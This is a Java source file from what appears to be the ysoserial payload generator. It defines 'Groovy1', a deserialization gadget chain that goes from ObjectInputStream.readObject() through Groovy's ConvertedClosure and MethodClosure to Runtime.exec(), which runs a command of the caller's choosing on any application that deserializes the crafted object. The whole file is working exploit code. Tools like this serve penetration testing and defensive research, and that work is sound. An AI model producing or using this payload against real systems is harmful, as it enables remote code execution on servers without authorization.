46 lines
1.2 KiB
Java
46 lines
1.2 KiB
Java
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package ysoserial.payloads;
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import java.lang.reflect.InvocationHandler;
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import java.util.Map;
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import org.codehaus.groovy.runtime.ConvertedClosure;
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import org.codehaus.groovy.runtime.MethodClosure;
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import ysoserial.payloads.annotation.Dependencies;
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import ysoserial.payloads.util.Gadgets;
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import ysoserial.payloads.util.PayloadRunner;
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/*
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Gadget chain:
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ObjectInputStream.readObject()
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PriorityQueue.readObject()
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Comparator.compare() (Proxy)
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ConvertedClosure.invoke()
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MethodClosure.call()
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...
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Method.invoke()
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Runtime.exec()
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Requires:
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groovy
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*/
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@SuppressWarnings({ "rawtypes", "unchecked" })
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@Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
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public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
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public InvocationHandler getObject(final String command) throws Exception {
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final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
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final Map map = Gadgets.createProxy(closure, Map.class);
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final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);
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return handler;
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}
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public static void main(final String[] args) throws Exception {
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PayloadRunner.run(Groovy1.class, args);
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}
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}
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